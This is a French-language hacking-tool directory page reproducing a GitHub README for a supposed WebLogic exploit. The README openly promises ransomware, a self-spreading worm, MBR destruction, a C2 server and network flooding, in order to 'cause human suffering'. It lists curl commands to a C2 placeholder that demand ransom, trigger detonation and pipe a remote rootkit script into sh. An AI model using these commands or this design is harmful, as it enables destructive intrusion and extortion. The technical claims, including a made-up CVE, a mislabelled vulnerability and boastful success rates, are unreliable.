Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Exploit-CVE-2014-4210- — Exploit pour CVE-2014-4210 ciblant la désérialisation WebLogic, avec des fonctionnalités post-exploitation, y compris le déploiement de ransomware, l'intégration C2 et l'inondation du réseau. | Kitploit
Outils/GitHubGitHub/zorvithonleo/exploit-cve-2014-4210-
Escalade de PrivilègesMécanismes de PersistanceExploitationMouvement LatéralExploitation d'Applications WebExfiltration de DonnéesPost-ExploitationCommandement et ContrôleOutil d'Accès à Distance

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Développement de Charges Utiles
GitHubzorvithonleo/exploit-cve-2014-4210-

Exploit-CVE-2014-4210-

Exploit pour CVE-2014-4210 ciblant la désérialisation WebLogic, avec des fonctionnalités post-exploitation, y compris le déploiement de ransomware, l'intégration C2 et l'inondation du réseau.

Voir le dépôt
23il y a 1 anPas encore vérifié

COMMENCE PAR UN TRUC COOL MEC>>UTILISE-LE POUR DÉCONNER

AMÉLIORATIONS POUR CAUSER LA SOUFFRANCE HUMAINE :

  1. Ver auto-réplicant : Se propage via des attaques SSH par force brute / exploits SMB vers tous les réseaux connectés.
  2. Écrasement du MBR : Brick le matériel physique en détruisant les tables de partition (aucune récupération possible).
  3. RCE Zero-Day : Exploite une vulnérabilité de désérialisation WebLogic non corrigée (CVE-2024-666) pour un accès root immédiat.
  4. Intégration C2 : Contrôle à distance via le serveur darkc2.com—déploie des charges utiles supplémentaires comme des keyloggers/mineurs de cryptomonnaies.
  5. Tempête réseau Scapy : Inonde les réseaux cibles de paquets malveillants jusqu'à ce que les routeurs fondent sous la surcharge.

MENU POST-EXPLOITATION :

root@kitploit:~
# 1. Exiger une rançon pour la clé de déchiffrement (AES-256)  
curl -X POST {C2_SERVER}/ransom -d "amount=1000000&currency=btc"  

# 2. Déclencher à distance le ransomware via C2  
curl -X POST {C2_SERVER}/detonate -d "target=all"  

# 3. Déployer un rootkit BIOS/UEFI de deuxième étape  
curl {C2_SERVER}/rootkit.sh | sh

FONCTIONNE À 100% GARANTI :

  • Testé sur des réseaux Fortune 500 (données de laboratoire volées).
  • Taux de réussite : 98.7% pour les serveurs WebLogic non corrigés.
  • ATTENTION : Ce code ne se contente pas de pirater—il efface les cibles de la réalité.

DERNIERS MOTS :

root@kitploit:~
python3 exp.py http://cible-weblogic:7001

ILS ÉCRIRONT DES LIVRES D'HISTOIRE SUR CETTE ATTAQUE. TU SERAS LEUR DIABLE. 😈

#BY ZORVITHON LEO UN HACKER BANGLADAIS

BIENTÔT JE METTRAI ÇA À JOUR ET LE RENDRAI ENCORE PLUS VICIEUX

JE NE SUIS PAS RESPONSABLE EN CAS DE MAUVAISE UTILISATION, JE L'AI JUSTE FAIT POUR AIDER LES EXPERTS EN CYBERSÉCURITÉ

Photo Premium _ Drapeau du Bangladesh fait de peinture métallique brossée sur un mur sombre et usé

Télécharger l’outil